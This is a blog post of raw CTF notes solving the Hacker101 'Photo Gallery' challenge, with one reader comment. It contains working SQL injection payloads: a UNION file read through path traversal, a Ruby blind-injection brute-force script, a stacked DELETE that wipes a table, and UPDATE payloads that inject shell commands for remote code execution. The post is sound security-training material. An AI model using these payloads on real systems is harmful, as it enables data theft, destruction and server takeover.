DEV Community

Cover image for Photo Gallery
pirateducky
pirateducky

Posted on • Edited on

Photo Gallery

gif

These are my notes from the hacker101 CTF which is here. Slightly edited but mostly raw notes

Challenge: Photo Gallery

Alt Text

Flag0: SQLi

I had to craft a union that took in a wrong id and then executed a union where I passed down the path to main.py which is where everything happens.

First we are given in the hints that this is a docker image, which is documented here:
https://github.com/tiangolo/uwsgi-nginx-flask-docker

Then by looking at the app, in order to grab the images from the server the following is used fetch?id=1
This is an indication that we should test for a SQLi, by using the hints we can see that this will require a UNION

We have look at how the UNION command works in SQL:
UNION based attack: Union based SQL injection allows an attacker to extract information from the database by extending the results returned by the original query. The Union operator can only be used if the original/new queries have the same structure (number and data type of columns). (https://sqlwiki.netspi.com/injectionTypes/unionBased/#mysql) 

Now we think how would this query work? And start coming up with some theories

// I think the query is performed like this
SELECT image_name FROM a_table WHERE id=number
Enter fullscreen mode Exit fullscreen mode

This query will return the file name and then this file name will be looked up and returned, so using a union we might be able to trick the DB into handing us some other files if we just give it a filename that is interesting - this is where that docker image comes in handy, we know there is a main.py file and we also know the file structure - so here is my payload, I had to give it an id that didn’t exist so my UNION would work.

 

/fetch?id=-1 UNION select '/../../main.py'
Enter fullscreen mode Exit fullscreen mode

This handed me the file and the flag was a comment.

Flag1: SQLi + LIKE argument

Had to figure out a way to get the filename from that hidden kitty - the filename turned out the be flag. I worked on the assumption that the file name was what was triggering a 500 server error.

I wrote the following ruby script, it uses the httparty library to make a request to the challenge instance, the function check? creates the url by inserting the str variable into the request, we can use the LIKE SQL command to match the current str to the filename, if the filename contains the string inside the variable we should get a 500 server error, the response.code == 500 line will return true if the response code is 500 and false if it is anything else, which is what we want. The key here is knowing that the 500 error can be used to get the filename.

I created the range of alphanumerical characters including capital letters using a range in ruby, then I initialized the payload variable which eventually would hold the complete payload. In this infinite while loop, I’m sure there is a better way of doing this, I tested each character in the range and passed it to the check? function if it returned a 500 that character would get added to my payload string and then I would test for the next character including the previous successful one payload+nextCharacter, if the character returned anything other than a 500 it would just get skipped, iterating through these characters until nothing more was being added to the string gave me the full filename - which turned out to be the flag

require 'httparty'

def check?(str)
  resp = HTTParty.get("http://34.94.3.143/a5648e58cd/fetch?id=-1 UNION SELECT filename FROM photos WHERE filename LIKE '#{str}%' AND id=3")
  puts resp.code.to_s
  if resp.code == 500
    return true
  else
    return false
  end
end

CHARSET = ('A'..'Z').to_a + ('a'..'z').to_a + ('0'..'9').to_a
payload = ''

loop do
  CHARSET.each do |c|
    puts "Trying: #{c} for #{payload}"
    test = payload + c
    next unless check?(test.to_s)

    payload += c
    puts payload
    break
  end
end
Enter fullscreen mode Exit fullscreen mode

Flag2: SQLi, Stacked queries

Assumption:
We have to update some document, and we also need to make sure we used stacked queries, and use the commit command to  apply the changes, there is something weird about that subprocess call - it runs commands on the computer which is never a good thing - also the way is written I think I can end the quote and add my payload there by creating an album with a weird name.

Got to delete all images using:

http://35.190.155.168:5001/8ab77dbb88/fetch?id=1;%20DELETE%20%20FROM%20photos;%20commit;
Enter fullscreen mode Exit fullscreen mode

Using the ;DELETE FROM photos; commit; query I was able delete all images from the photos table
I think the vulnerability in the way the size of the albums gets calculated is here:

rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '</i>'
Enter fullscreen mode Exit fullscreen mode

After deleting all the images my method won’t work to update them though, should be thinking about how can I create a new album.

Current payload:

/fetch?id=1; INSERT INTO photos (title, filename) VALUES ('; ls')', 'cat.png'); commit;
Enter fullscreen mode Exit fullscreen mode

Not working: 

  1. I get a 404 because it tries to find that id
  2. The payload is not correct, I think that I can close that subprocess function by inserting a title containing the ‘;’ + the os command I want to run and closing the ‘’)’ - I think this should execute the command I want and send the result back

Questions: Since I deleted everything in the table how can I insert a new one - or should I just restart with all the images and update one of them?

Here is the payload that worked after changing the name of the id=3 image which contained FLAG1 - I deleted the other images and only worked with the image with id=3 but it could have been any image.

fetch?id=1; UPDATE photos SET filename="; grep -r FLAG ." WHERE id=3; commit;
Enter fullscreen mode Exit fullscreen mode

However right now I can’t seem to find the flag that I need, also this was truncating my results because of this

strip().rsplit('\n', 1)[-1]
Enter fullscreen mode Exit fullscreen mode

This looks promising - this was nothing lol

 

fetch?id=1; UPDATE photos SET filename=";grep -rl 'FLAG' /var" WHERE id=3; commit;
Got this file
/var/lib/mysql/level5/photos.ibd

fetch?id=3; UPDATE photos SET filename=";echo $(grep -r 'FLAG' /../) " WHERE id=3; commit;
// al the files inside the /app directory
Space used: Dockerfile files main.py main.pyc prestart.sh requirements.txt uwsgi.ini

Enter fullscreen mode Exit fullscreen mode

Still need to find this flag but I have RCE on the server so eventually I will find it - just need to figure out where it is

Haha @ 7:50 on 3/13/2019:
I got around the truncated answers by using echo to print the results of the command I ran. 

This is the payload that worked.

fetch?id=3; UPDATE photos SET filename=";echo $(printenv)" WHERE id=3; commit;
// payload worked - all 3 flags in printenv
Enter fullscreen mode Exit fullscreen mode

// end 

Top comments (1)

Collapse
 
sevada797 profile image
Sevada

Hi bro, I didn't read your post fully as I am passing the ctf, bro I also thought to load files with union but because of my bad SQL skills, I got dumber payload "1 UNION SELECT 'files/purrfect.jpg' ORDER BY ASC" and I should also try it with DESC so it would work, my question is how did you got the path /../../main.py did you knew the structure of file system or just brute-forced it? because me myself I am not familiar with python web development and flask.